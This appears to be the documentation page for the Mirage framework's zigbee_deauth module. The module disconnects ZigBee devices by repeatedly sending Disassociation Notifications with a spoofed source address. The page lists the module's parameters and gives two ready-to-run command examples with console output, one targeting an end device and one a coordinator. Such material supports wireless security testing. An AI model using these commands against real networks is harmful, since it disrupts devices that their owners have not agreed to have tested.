zigbee_deauth

Presentation

zigbee_deauth deauthenticates zigbee devices by sending repeatedly Disassociation Notifications. It allows to configure the targeted PanID (TARGET_PANID parameter), channel (CHANNEL parameter), the target device (TARGET parameter), the source address of the frames (SOURCE parameter) and the reason to put in the Disassociation Notifications (REASON parameter).

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE

rzusbstick0

rzusbstickX

Interface to use

TARGET_PANID

0x1234

<hexadecimal, 2 bytes>

Targeted PanID

CHANNEL

13

<integer>

Targeted channel

TARGET

<ZigBee device address>

Targeted device

SOURCE

<ZigBee device address>

Source address to use

REASON

1

<integer>

Disassociation reason ID

Output parameters

This module doesn’t provide any output parameters.

Usage

You can use this module to send packets to an end device by typing the following command:

$ mirage zigbee_deauth CHANNEL=12 TARGET_PANID=0x3332 TARGET=0x13A200403D57B7 SOURCE=0x13A200405DBCFB
[INFO] Module zigbee_deauth loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[INFO] PanID selected: 0x3332
[INFO] Target selected: 00:13:A2:00:40:3D:57:B7
[INFO] Source selected: 00:13:A2:00:40:5D:BC:FB
^C[INFO] Mirage process terminated !

By reversing the source and the target, you can also send packets to a coordingator with this command:

$ mirage zigbee_deauth CHANNEL=12 TARGET_PANID=0x3332 SOURCE=0x13A200403D57B7 TARGET=0x13A200405DBCFB
[INFO] Module zigbee_deauth loaded !
[INFO] RZUSBStick: Killerbee firmware in use.
[INFO] PanID selected: 0x3332
[INFO] Target selected: 00:13:A2:00:40:5D:BC:FB
[INFO] Source selected: 00:13:A2:00:40:3D:57:B7
^C[INFO] Mirage process terminated !